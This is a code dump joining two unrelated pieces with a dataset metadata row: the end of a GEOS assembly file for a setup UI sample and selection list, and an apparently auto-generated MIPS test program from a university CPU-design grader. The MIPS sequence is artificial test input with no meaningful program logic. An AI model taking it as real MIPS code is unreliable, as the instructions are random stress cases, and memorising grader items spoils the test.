mov_tr di, ax ;di <- offset
clc ;carry <- no error
done:
.leave
ret
GetSPUIEntry endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SetupSPUISampleDraw
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Draw the SPUI sample
CALLED BY: MSG_VIS_DRAW
PASS: bp - GState
RETURN: nothing
DESTROYED: ax, bx, cx, dx, si, di, es, ds
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
gene 6/1/98 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SetupSPUISampleDraw method SetupSPUISampleClass, MSG_VIS_DRAW
;
; Get our bounds
;
call VisGetBounds
mov dx, bx ;(ax,dx) <- (x,y)
;
; Get the currently selected SPUI
;
call GetSPUIEntry ;cs:di <- entry
jc done ;branch if error
;
; Get the bitmap
;
push ax, dx
mov bx, cs:uicombos[di].UIC_bitmap.handle
mov dx, bx
call MemLock
mov ds, ax
mov si, cs:uicombos[di].UIC_bitmap.offset
mov si, ds:[si] ;ds:si <- ptr to bitmap
pop ax, bx ;(ax,bx) <- (x,y)
push dx
;
; Draw it
;
mov di, bp ;di <- GState
clr dx ;dx <- no callback
call GrDrawBitmap
;
; Unlock the bitmap
;
pop bx ;bx <- bitmap resource
call MemUnlock
done:
.leave
ret
SetupSPUISampleDraw endm
SetupSPUIRecalcSize method dynamic SetupSPUISampleClass,
MSG_VIS_RECALC_SIZE
call GetDisplayType
mov cx, 342
mov dx, cs:sampleHeights[si]
ret
SetupSPUIRecalcSize endm
;
; NOTE: this table is used instead of using 1/2 the actual display
; size to allow for larger displays (e.g., 1024x768) which still
; use the same size color sample as VGA.
;
sampleHeights word \
256, ;SDT_COLOR
256, ;SDT_BW
100 ;SDT_CGA
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GetDisplayType
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Get the current display type
CALLED BY: SetupSPUISampleDraw()
PASS: none
RETURN: si - SetupDisplayType
DESTROYED: none
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
gene 6/2/98 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GetDisplayType proc near
uses ax, es
.enter
segmov es, dgroup, ax
;
; Assume color
;
mov si, SDT_COLOR ;si <- SetupDisplayType
call SetupGetDisplayType ;ah <- DisplayType
mov al, ah
;
; Check for B&W
;
andnf al, mask DT_DISP_CLASS
cmp al, DC_GRAY_1 shl offset DT_DISP_CLASS
jne gotType ;branch if not B&W
mov si, SDT_BW ;si <- SetupDisplayType
;
; Check for CGA
;
andnf ah, mask DT_DISP_ASPECT_RATIO
cmp ah, DAR_VERY_SQUISHED shl offset DT_DISP_ASPECT_RATIO
jne gotType ;branch if not CGA
mov si, SDT_CGA ;si <- SetupDisplayType
gotType:
.leave
ret
GetDisplayType endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SetupUIRestartForUI
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Restart for a new UI
CALLED BY: MSG_SETUP_UI_RESTART_FOR_UI
PASS: cx - current selection
RETURN: nothing
DESTROYED: ax, bx, cx, dx, si, di, es, ds
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
gene 6/1/98 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
resetKey char "forceDeleteStateFilesOnceOnly",0
SetupUIRestartForUI method SetupClass, MSG_SETUP_UI_RESTART_FOR_UI
.enter
;
; set most of the stuff
;
call GetSPUIEntry
call SetUIOptions
;
; Reset the state files to handle changing the defaultLauncher
;
segmov ds, cs, cx
mov si, offset uiCategory
mov dx, offset resetKey
mov ax, TRUE
call InitFileWriteBoolean
;
; Save the current settings
;
mov bx, handle UISelectList
mov si, offset UISelectList
mov di, mask MF_CALL
mov ax, MSG_META_SAVE_OPTIONS
call ObjMessage
;
; Set the mode
;
segmov ds, dgroup, ax
mov bp, MODE_UPGRADE_UI_CHANGE
cmp ds:[mode], MODE_UPGRADE_UI_CHANGE
je gotMode
mov bp, MODE_AFTER_SETUP_UI_CHANGE
gotMode:
call SetupSetRestartMode
;
; Restart the system
;
mov ax, SST_RESTART
call SysShutdown
.leave
ret
SetupUIRestartForUI endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SetupUIListGetMoniker
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Get a moniker for the SPUI list
CALLED BY: MSG_PREF_ITEM_GROUP_GET_ITEM_MONIKER
PASS: ss:bp - GetItemMonikerParams
RETURN: nothing
DESTROYED: ax, bx, cx, dx, si, di, es, ds
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
gene 8/15/00 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SetupUIListGetMoniker method SetupUIListClass,
MSG_PREF_ITEM_GROUP_GET_ITEM_MONIKER
;
; find the corresponding table entry
;
mov ax, ss:[bp].GIMP_identifier
mov di, (size UICombo)
mul di
mov_tr di, ax ;di <- offset
;
; get the name
;
mov si, cs:uicombos[di].UIC_name
mov bx, handle Strings
call MemLock
mov ds, ax
mov si, ds:[si] ;ds:si <- ptr to name
ChunkSizePtr ds, si, cx ;cx <- # bytes
;
; copy the name to the buffer
;
movdw esdi, ss:[bp].GIMP_buffer
cmp cx, ss:[bp].GIMP_bufferSize
ja bufferTooSmall
DBCS < shr cx, 1 ;>
mov bp, cx ;bp <- # of chars
LocalCopyNString
done:
call MemUnlock
ret
bufferTooSmall:
clr bp
jmp done
SetupUIListGetMoniker endm
SetupUIListBuildArray method SetupUIListClass,
MSG_PREF_DYNAMIC_LIST_BUILD_ARRAY
mov cx, length uicombos
mov ax, MSG_GEN_DYNAMIC_LIST_INITIALIZE
GOTO ObjCallInstanceNoLock
SetupUIListBuildArray endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SetupUIListGetMoniker
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Get a moniker for the SPUI list
CALLED BY: MSG_PREF_DYNAMIC_LIST_FIND_ITEM
PASS: cx:dx - NULL-terminated string
bp - nonzero to find best fit
RETURN: if found:
ax - item #
carry - clear
else:
carry - set
ax - first item after requested
DESTROYED: ax, bx, cx, dx, si, di, es, ds
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
gene 8/15/00 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SetupUIListFindItem method SetupUIListClass,
MSG_PREF_DYNAMIC_LIST_FIND_ITEM
push ds, si
movdw esdi, cxdx
call LocalStringLength ;cx <- str length
mov bx, handle Strings
call MemLock
mov ds, ax
clr si ;si <- offset
clr ax ;ax <- index
strLoop:
push si
mov si, cs:uicombos[si].UIC_name
mov si, ds:[si] ;ds:si <- ptr to name
call LocalCmpStringsNoCase
pop si
je foundString
inc ax ;ax <- next index
add si, (size UICombo)
cmp si, (size uicombos)
jb strLoop ;branch while more
pop ds, si
mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION
call ObjCallInstanceNoLock
stc ;carry <- not found
jmp done
foundString:
pop ds, si
clc
done:
call MemUnlock
ret
SetupUIListFindItem endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SetupUISelected
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: User has selected a new SPUI
CALLED BY: MSG_SETUP_UI_LIST_SELECTED
PASS: cx - current selection
RETURN: nothing
DESTROYED: ax, bx, cx, dx, si, di, es, ds
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
gene 6/1/98 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SetupUISelected method SetupUIListClass, MSG_SETUP_UI_LIST_SELECTED
.enter
mov ax, MSG_VIS_REDRAW_ENTIRE_OBJECT
mov si, offset UISelectSample
mov bx, handle UISelectSample
mov di, mask MF_FORCE_QUEUE
call ObjMessage
.leave
ret
SetupUISelected endm
|
||||
TheStack | 791f81fc05b5f2db338a7f19fbcedd2e1367f80a | Assemblycode:Assembly | {"size": 45236, "ext": "asm", "max_stars_repo_path": "P6/P6Judger - 100 testpoints/testpoint/testpoint27.asm", "max_stars_repo_name": "flyinglandlord/BUAA-CO-2021", "max_stars_repo_stars_event_min_datetime": "2021-12-05T12:58:26.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-31T02:05:13.000Z", "max_issues_repo_path": "P6/P6Judger - 100 testpoints/testpoint/testpoint27.asm", "max_issues_repo_name": "OliverDu8-24/BUAA-CO-2021", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "P6/P6Judger - 100 testpoints/testpoint/testpoint27.asm", "max_forks_repo_name": "OliverDu8-24/BUAA-CO-2021", "max_forks_repo_forks_event_min_datetime": "2021-12-19T11:49:48.000Z", "max_forks_repo_forks_event_max_datetime": "2021-12-22T10:25:38.000Z"} | {"max_stars_count": 5, "max_issues_count": null, "max_forks_count": 2, "avg_line_length": 11.9324716434, "max_line_length": 21, "alphanum_fraction": 0.5429304094} | ori $1, $0, 6
ori $2, $0, 8
ori $3, $0, 6
ori $4, $0, 9
sw $2, 0($0)
sw $4, 4($0)
sw $4, 8($0)
sw $3, 12($0)
sw $3, 16($0)
sw $4, 20($0)
sw $2, 24($0)
sw $4, 28($0)
sw $2, 32($0)
sw $3, 36($0)
sw $3, 40($0)
sw $2, 44($0)
sw $3, 48($0)
sw $3, 52($0)
sw $4, 56($0)
sw $3, 60($0)
sw $2, 64($0)
sw $1, 68($0)
sw $2, 72($0)
sw $2, 76($0)
sw $3, 80($0)
sw $3, 84($0)
sw $3, 88($0)
sw $4, 92($0)
sw $1, 96($0)
sw $2, 100($0)
sw $3, 104($0)
sw $1, 108($0)
sw $4, 112($0)
sw $2, 116($0)
sw $4, 120($0)
sw $4, 124($0)
beq $2, $2, TAG1
sh $2, 0($2)
bgtz $2, TAG1
mtlo $2
TAG1:
lw $1, 0($2)
beq $2, $1, TAG2
mfhi $1
bne $1, $2, TAG2
TAG2:
add $2, $1, $1
lb $1, 0($2)
xori $4, $2, 7
sltiu $1, $1, 8
TAG3:
srl $1, $1, 13
mthi $1
lhu $1, 0($1)
sltiu $3, $1, 1
TAG4:
bgez $3, TAG5
mfhi $3
mtlo $3
sw $3, 0($3)
TAG5:
bne $3, $3, TAG6
mflo $1
lhu $1, 0($3)
lui $1, 8
TAG6:
multu $1, $1
sll $0, $0, 0
sll $0, $0, 0
lui $1, 10
TAG7:
bne $1, $1, TAG8
sll $0, $0, 0
sll $0, $0, 0
lui $4, 9
TAG8:
sll $0, $0, 0
multu $4, $4
sll $0, $0, 0
beq $4, $4, TAG9
TAG9:
mflo $3
bltz $4, TAG10
xor $2, $3, $4
mflo $4
TAG10:
bgtz $4, TAG11
lw $1, 0($4)
mflo $3
mflo $2
TAG11:
lui $3, 1
slt $1, $3, $3
mult $2, $1
mtlo $2
TAG12:
mflo $4
sw $4, 0($1)
srlv $3, $4, $1
mthi $3
TAG13:
lh $1, 0($3)
beq $3, $3, TAG14
sw $1, 0($3)
mflo $2
TAG14:
lui $1, 4
sltiu $2, $1, 4
lbu $2, 0($2)
lui $3, 15
TAG15:
mflo $3
sll $4, $3, 11
sb $3, 0($4)
lb $4, 0($3)
TAG16:
addu $2, $4, $4
lui $1, 15
bgtz $2, TAG17
lui $4, 7
TAG17:
mflo $3
bltz $4, TAG18
lui $3, 12
sll $0, $0, 0
TAG18:
beq $3, $3, TAG19
lui $2, 15
multu $3, $3
sh $3, 0($2)
TAG19:
addu $1, $2, $2
mfhi $2
multu $2, $1
sh $1, 0($2)
TAG20:
lh $4, 0($2)
multu $2, $4
beq $2, $4, TAG21
lbu $3, 0($2)
TAG21:
lui $1, 12
mflo $2
mfhi $1
blez $2, TAG22
TAG22:
mflo $3
mflo $3
srav $1, $3, $3
mflo $3
TAG23:
lw $3, 0($3)
bgez $3, TAG24
mtlo $3
sltu $1, $3, $3
TAG24:
beq $1, $1, TAG25
mult $1, $1
sltiu $3, $1, 8
addiu $3, $3, 10
TAG25:
lbu $4, 0($3)
addi $1, $3, 2
beq $1, $1, TAG26
srav $2, $3, $4
TAG26:
sw $2, 0($2)
mflo $3
multu $3, $2
slti $4, $3, 2
TAG27:
mtlo $4
beq $4, $4, TAG28
mult $4, $4
bgez $4, TAG28
TAG28:
lb $1, 0($4)
sb $1, 0($4)
sb $1, 0($4)
beq $1, $1, TAG29
TAG29:
sw $1, 0($1)
bltz $1, TAG30
srav $3, $1, $1
andi $4, $3, 12
TAG30:
lh $4, 0($4)
multu $4, $4
mult $4, $4
sw $4, 0($4)
TAG31:
add $1, $4, $4
srlv $4, $1, $4
sh $4, 0($4)
mult $4, $4
TAG32:
beq $4, $4, TAG33
sh $4, 0($4)
multu $4, $4
mult $4, $4
TAG33:
mfhi $1
mthi $1
lui $1, 5
blez $4, TAG34
TAG34:
div $1, $1
lui $3, 2
mfhi $3
multu $3, $3
TAG35:
beq $3, $3, TAG36
lw $4, 0($3)
mtlo $4
bne $4, $3, TAG36
TAG36:
sra $3, $4, 1
lui $4, 15
mtlo $4
beq $4, $4, TAG37
TAG37:
sra $1, $4, 1
addu $3, $1, $4
mfhi $4
sw $4, 0($4)
TAG38:
blez $4, TAG39
sll $1, $4, 14
lh $3, 0($4)
mtlo $3
TAG39:
sll $2, $3, 2
bne $3, $3, TAG40
multu $3, $2
sll $0, $0, 0
TAG40:
mtlo $2
sll $0, $0, 0
subu $1, $2, $2
mflo $1
TAG41:
sll $0, $0, 0
lui $1, 15
sll $0, $0, 0
or $4, $1, $1
TAG42:
addu $4, $4, $4
div $4, $4
bgez $4, TAG43
sll $0, $0, 0
TAG43:
bltz $4, TAG44
mtlo $4
lui $4, 15
mtlo $4
TAG44:
addiu $4, $4, 14
sll $0, $0, 0
addu $2, $4, $4
beq $2, $4, TAG45
TAG45:
xori $3, $2, 3
sll $0, $0, 0
mtlo $2
mflo $2
TAG46:
sll $0, $0, 0
lui $2, 0
bltz $3, TAG47
sw $3, 0($2)
TAG47:
mflo $3
lui $3, 7
lui $4, 0
sll $0, $0, 0
TAG48:
blez $4, TAG49
mult $4, $4
mthi $4
beq $4, $4, TAG49
TAG49:
lui $3, 0
lui $2, 14
multu $4, $4
srlv $1, $2, $2
TAG50:
subu $4, $1, $1
bne $4, $4, TAG51
xori $1, $4, 9
sltiu $3, $4, 7
TAG51:
lbu $3, 0($3)
multu $3, $3
blez $3, TAG52
mflo $1
TAG52:
sw $1, 0($1)
mthi $1
mflo $3
sra $4, $1, 3
TAG53:
multu $4, $4
mult $4, $4
mthi $4
bne $4, $4, TAG54
TAG54:
mtlo $4
lui $3, 11
sll $0, $0, 0
mflo $2
TAG55:
mult $2, $2
blez $2, TAG56
andi $2, $2, 11
mfhi $4
TAG56:
blez $4, TAG57
lui $3, 0
mthi $4
bne $4, $3, TAG57
TAG57:
mfhi $3
lbu $2, 0($3)
lui $1, 6
bne $2, $1, TAG58
TAG58:
sll $0, $0, 0
lh $2, 0($2)
addiu $1, $2, 12
mult $2, $2
TAG59:
subu $4, $1, $1
addi $4, $4, 10
srav $4, $4, $4
sw $4, 0($4)
TAG60:
bgtz $4, TAG61
srav $3, $4, $4
bne $3, $3, TAG61
lui $1, 2
TAG61:
mflo $1
bgtz $1, TAG62
mult $1, $1
multu $1, $1
TAG62:
lui $1, 10
addiu $2, $1, 8
sll $0, $0, 0
sll $0, $0, 0
TAG63:
bltz $2, TAG64
sllv $3, $2, $2
sll $0, $0, 0
sll $0, $0, 0
TAG64:
beq $2, $2, TAG65
mtlo $2
mflo $4
sh $2, 0($2)
TAG65:
xor $1, $4, $4
lui $2, 7
sll $0, $0, 0
srl $1, $4, 14
TAG66:
sh $1, 0($1)
mult $1, $1
lui $1, 15
div $1, $1
TAG67:
mflo $1
mflo $2
mfhi $2
mfhi $2
TAG68:
bne $2, $2, TAG69
mtlo $2
mflo $2
beq $2, $2, TAG69
TAG69:
andi $1, $2, 13
mthi $2
lui $4, 4
bgez $2, TAG70
TAG70:
lui $1, 15
slt $4, $1, $1
xor $2, $4, $4
sll $0, $0, 0
TAG71:
multu $2, $2
beq $2, $2, TAG72
lui $2, 10
sltu $3, $2, $2
TAG72:
bgtz $3, TAG73
xor $3, $3, $3
lbu $1, 0($3)
bgez $1, TAG73
TAG73:
divu $1, $1
bne $1, $1, TAG74
mtlo $1
bne $1, $1, TAG74
TAG74:
mflo $2
addu $1, $2, $2
slt $1, $2, $1
lui $3, 13
TAG75:
mthi $3
div $3, $3
addu $4, $3, $3
lui $3, 2
TAG76:
sll $0, $0, 0
divu $3, $3
lui $3, 0
blez $3, TAG77
TAG77:
lb $3, 0($3)
beq $3, $3, TAG78
sra $2, $3, 7
sb $2, 0($2)
TAG78:
sh $2, 0($2)
lui $2, 9
sll $0, $0, 0
sll $0, $0, 0
TAG79:
div $2, $2
mfhi $3
beq $3, $2, TAG80
sb $3, 0($3)
TAG80:
blez $3, TAG81
mflo $1
multu $3, $1
mult $3, $1
TAG81:
div $1, $1
lui $2, 15
addu $3, $1, $1
bltz $2, TAG82
TAG82:
sra $4, $3, 10
bltz $3, TAG83
sll $3, $3, 12
srav $2, $3, $3
TAG83:
mtlo $2
addiu $3, $2, 6
mflo $2
andi $4, $3, 2
TAG84:
mflo $4
mtlo $4
lui $3, 10
bne $4, $4, TAG85
TAG85:
sll $0, $0, 0
mult $3, $3
nor $2, $3, $3
sll $0, $0, 0
TAG86:
sll $0, $0, 0
sll $0, $0, 0
sll $0, $0, 0
sll $0, $0, 0
TAG87:
addu $2, $2, $2
lui $1, 13
sll $0, $0, 0
sll $0, $0, 0
TAG88:
sll $0, $0, 0
sll $0, $0, 0
sltiu $2, $1, 14
xori $2, $1, 2
TAG89:
sll $0, $0, 0
sll $0, $0, 0
sll $0, $0, 0
beq $2, $2, TAG90
TAG90:
sll $0, $0, 0
mflo $4
bne $2, $4, TAG91
sll $0, $0, 0
TAG91:
bgtz $4, TAG92
multu $4, $4
blez $4, TAG92
and $3, $4, $4
TAG92:
lb $1, 0($3)
lui $4, 13
mfhi $1
lui $4, 8
TAG93:
div $4, $4
sll $0, $0, 0
bne $4, $4, TAG94
mflo $1
TAG94:
divu $1, $1
sb $1, 0($1)
beq $1, $1, TAG95
lb $1, 0($1)
TAG95:
bltz $1, TAG96
sb $1, 0($1)
lbu $4, 0($1)
bne $4, $1, TAG96
TAG96:
lui $3, 14
beq $4, $4, TAG97
lui $4, 3
sllv $1, $4, $4
TAG97:
lbu $1, 0($1)
lb $1, 0($1)
mthi $1
subu $4, $1, $1
TAG98:
lui $1, 9
lhu $1, 0($4)
mfhi $3
lw $2, 0($4)
TAG99:
beq $2, $2, TAG100
divu $2, $2
lui $4, 0
slt $2, $2, $2
TAG100:
mthi $2
slti $4, $2, 6
sw $2, 0($4)
beq $2, $4, TAG101
TAG101:
xori $2, $4, 13
multu $2, $4
multu $2, $4
lh $4, 0($4)
TAG102:
bne $4, $4, TAG103
lui $3, 4
sll $0, $0, 0
sb $3, -256($4)
TAG103:
multu $3, $3
subu $4, $3, $3
divu $4, $3
sb $4, 0($4)
TAG104:
addiu $2, $4, 9
lbu $2, 0($4)
slti $1, $2, 8
div $2, $1
TAG105:
lui $1, 3
addu $1, $1, $1
nor $1, $1, $1
sltiu $2, $1, 13
TAG106:
ori $2, $2, 13
bgez $2, TAG107
divu $2, $2
or $1, $2, $2
TAG107:
mfhi $4
bne $1, $1, TAG108
mtlo $1
sll $1, $1, 9
TAG108:
div $1, $1
addiu $3, $1, 0
multu $3, $3
bne $3, $1, TAG109
TAG109:
sll $0, $0, 0
sll $0, $0, 0
multu $3, $3
lui $2, 15
TAG110:
mthi $2
sll $0, $0, 0
sll $0, $0, 0
sltiu $2, $2, 5
TAG111:
beq $2, $2, TAG112
mflo $2
divu $2, $2
bne $2, $2, TAG112
TAG112:
sll $0, $0, 0
xori $2, $2, 13
mthi $2
multu $4, $4
TAG113:
lui $1, 6
sll $0, $0, 0
mthi $1
sllv $1, $1, $1
TAG114:
lui $3, 9
mtlo $1
sll $0, $0, 0
bgtz $4, TAG115
TAG115:
lui $2, 11
lhu $2, 0($4)
divu $2, $2
mthi $4
TAG116:
sw $2, -256($2)
addu $1, $2, $2
xori $3, $2, 4
beq $2, $3, TAG117
TAG117:
sltiu $4, $3, 11
slti $3, $4, 7
sb $3, 0($3)
lb $1, 0($3)
TAG118:
sltiu $3, $1, 14
mthi $3
lbu $3, 0($1)
bne $1, $3, TAG119
TAG119:
mthi $3
lui $3, 15
subu $2, $3, $3
sltiu $4, $3, 9
TAG120:
bgez $4, TAG121
lhu $2, 0($4)
sb $2, 0($4)
mthi $4
TAG121:
andi $4, $2, 12
mfhi $2
sltu $4, $4, $2
mfhi $1
TAG122:
sb $1, 0($1)
mtlo $1
sb $1, 0($1)
slti $2, $1, 7
TAG123:
bne $2, $2, TAG124
mflo $4
lb $4, 0($2)
sb $4, 0($4)
TAG124:
lui $4, 13
sll $0, $0, 0
sll $2, $4, 7
multu $4, $4
TAG125:
sll $0, $0, 0
divu $2, $2
mfhi $1
sra $2, $1, 9
TAG126:
sh $2, 0($2)
lui $1, 8
srl $1, $1, 12
bgez $2, TAG127
TAG127:
mtlo $1
mflo $1
sb $1, 0($1)
bltz $1, TAG128
TAG128:
mtlo $1
lw $1, 0($1)
mtlo $1
addu $2, $1, $1
TAG129:
bltz $2, TAG130
mult $2, $2
bgtz $2, TAG130
sb $2, -256($2)
TAG130:
lui $1, 13
mflo $1
lui $3, 6
sll $0, $0, 0
TAG131:
lui $1, 9
bne $1, $1, TAG132
sll $0, $0, 0
lui $3, 5
TAG132:
slt $3, $3, $3
mflo $2
bne $3, $2, TAG133
sw $2, 0($3)
TAG133:
mtlo $2
mflo $4
mflo $4
sll $0, $0, 0
TAG134:
sll $0, $0, 0
beq $4, $4, TAG135
mthi $4
mthi $4
TAG135:
mfhi $1
bne $4, $1, TAG136
mthi $1
mtlo $1
TAG136:
beq $1, $1, TAG137
sll $0, $0, 0
mtlo $2
divu $1, $1
TAG137:
sll $0, $0, 0
mthi $2
beq $2, $2, TAG138
sll $0, $0, 0
TAG138:
sll $0, $0, 0
bgez $1, TAG139
lui $1, 11
addiu $4, $1, 14
TAG139:
sll $0, $0, 0
andi $2, $1, 12
and $2, $2, $4
multu $2, $2
TAG140:
mthi $2
sb $2, 0($2)
mtlo $2
multu $2, $2
TAG141:
bne $2, $2, TAG142
lhu $3, 0($2)
lui $2, 1
blez $3, TAG142
TAG142:
sltiu $2, $2, 11
subu $2, $2, $2
bgez $2, TAG143
add $2, $2, $2
TAG143:
bne $2, $2, TAG144
lw $4, 0($2)
blez $2, TAG144
mflo $3
TAG144:
bne $3, $3, TAG145
sw $3, 0($3)
mfhi $4
lui $1, 0
TAG145:
mthi $1
bne $1, $1, TAG146
lui $1, 0
multu $1, $1
TAG146:
mflo $3
blez $3, TAG147
sb $1, 0($3)
mfhi $4
TAG147:
blez $4, TAG148
mult $4, $4
mult $4, $4
mflo $1
TAG148:
beq $1, $1, TAG149
mthi $1
beq $1, $1, TAG149
lui $1, 14
TAG149:
sra $2, $1, 1
bgez $2, TAG150
mtlo $2
beq $2, $2, TAG150
TAG150:
mult $2, $2
mflo $3
mfhi $4
lui $2, 1
TAG151:
beq $2, $2, TAG152
sll $0, $0, 0
subu $4, $2, $2
sub $4, $4, $4
TAG152:
mfhi $2
blez $2, TAG153
lui $3, 11
mfhi $3
TAG153:
multu $3, $3
lui $1, 5
mfhi $3
bgtz $3, TAG154
TAG154:
lb $4, 0($3)
beq $3, $3, TAG155
lw $2, 0($4)
bgez $4, TAG155
TAG155:
sw $2, 0($2)
multu $2, $2
andi $3, $2, 13
bgtz $2, TAG156
TAG156:
xor $1, $3, $3
mflo $3
bltz $3, TAG157
mthi $1
TAG157:
sb $3, 0($3)
sltiu $1, $3, 14
mflo $1
bgtz $1, TAG158
TAG158:
multu $1, $1
beq $1, $1, TAG159
srlv $3, $1, $1
lw $2, 0($3)
TAG159:
mthi $2
mtlo $2
sll $1, $2, 13
mflo $3
TAG160:
bne $3, $3, TAG161
lui $1, 11
mthi $3
lui $2, 8
TAG161:
or $2, $2, $2
beq $2, $2, TAG162
divu $2, $2
beq $2, $2, TAG162
TAG162:
nor $4, $2, $2
mtlo $2
mthi $4
mult $2, $2
TAG163:
beq $4, $4, TAG164
sltu $3, $4, $4
sw $3, 0($4)
div $4, $3
TAG164:
mult $3, $3
bltz $3, TAG165
mthi $3
lui $3, 10
TAG165:
mtlo $3
sll $0, $0, 0
bgez $3, TAG166
sll $0, $0, 0
TAG166:
beq $3, $3, TAG167
sll $0, $0, 0
lui $1, 12
sra $2, $3, 11
TAG167:
mtlo $2
multu $2, $2
sll $0, $0, 0
blez $2, TAG168
TAG168:
multu $1, $1
bne $1, $1, TAG169
or $1, $1, $1
multu $1, $1
TAG169:
sll $0, $0, 0
mult $1, $1
sltu $1, $3, $1
sll $4, $1, 15
TAG170:
mfhi $4
sltiu $4, $4, 6
xor $4, $4, $4
or $4, $4, $4
TAG171:
slti $4, $4, 0
bgez $4, TAG172
multu $4, $4
bne $4, $4, TAG172
TAG172:
mthi $4
mflo $3
lui $1, 12
mult $4, $3
TAG173:
bgez $1, TAG174
lui $3, 12
bgez $1, TAG174
div $3, $3
TAG174:
subu $4, $3, $3
bne $4, $4, TAG175
mtlo $3
lui $4, 6
TAG175:
blez $4, TAG176
lui $2, 12
lui $2, 0
sw $4, 0($2)
TAG176:
mtlo $2
sw $2, 0($2)
lbu $1, 0($2)
mtlo $2
TAG177:
mtlo $1
mult $1, $1
lui $2, 15
sub $4, $1, $1
TAG178:
beq $4, $4, TAG179
lui $2, 7
lhu $4, 0($4)
sw $4, 0($4)
TAG179:
subu $2, $4, $4
mflo $1
bltz $4, TAG180
lh $3, 0($2)
TAG180:
multu $3, $3
mflo $2
sra $2, $2, 1
lw $3, 0($3)
TAG181:
sll $4, $3, 3
srl $1, $4, 12
sltu $4, $1, $4
sh $4, 0($1)
TAG182:
mflo $1
lw $2, 0($1)
mfhi $3
mflo $2
TAG183:
multu $2, $2
multu $2, $2
bne $2, $2, TAG184
andi $4, $2, 7
TAG184:
sltiu $2, $4, 8
mflo $4
multu $2, $2
mult $2, $4
TAG185:
addiu $2, $4, 2
lhu $1, 0($4)
addiu $2, $2, 11
bgtz $2, TAG186
TAG186:
mthi $2
sra $4, $2, 5
and $4, $2, $2
bne $2, $4, TAG187
TAG187:
sll $4, $4, 0
lui $1, 1
andi $2, $1, 6
sll $0, $0, 0
TAG188:
bne $3, $3, TAG189
mflo $4
mflo $4
mtlo $3
TAG189:
sra $2, $4, 9
multu $2, $2
sll $1, $2, 1
mflo $4
TAG190:
addu $3, $4, $4
sh $3, 0($4)
or $2, $3, $3
lui $1, 4
TAG191:
or $3, $1, $1
bne $1, $1, TAG192
mflo $4
lui $3, 14
TAG192:
sll $0, $0, 0
srlv $3, $3, $3
slti $2, $3, 5
and $4, $3, $4
TAG193:
bne $4, $4, TAG194
mult $4, $4
srav $1, $4, $4
mflo $1
TAG194:
mthi $1
sb $1, 0($1)
bltz $1, TAG195
sh $1, 0($1)
TAG195:
sb $1, 0($1)
bgez $1, TAG196
andi $2, $1, 11
nor $2, $2, $2
TAG196:
bgez $2, TAG197
mfhi $1
beq $1, $1, TAG197
sb $2, 0($2)
TAG197:
subu $3, $1, $1
lb $3, 0($3)
mflo $1
addu $1, $3, $3
TAG198:
bne $1, $1, TAG199
mfhi $1
srlv $3, $1, $1
bne $1, $1, TAG199
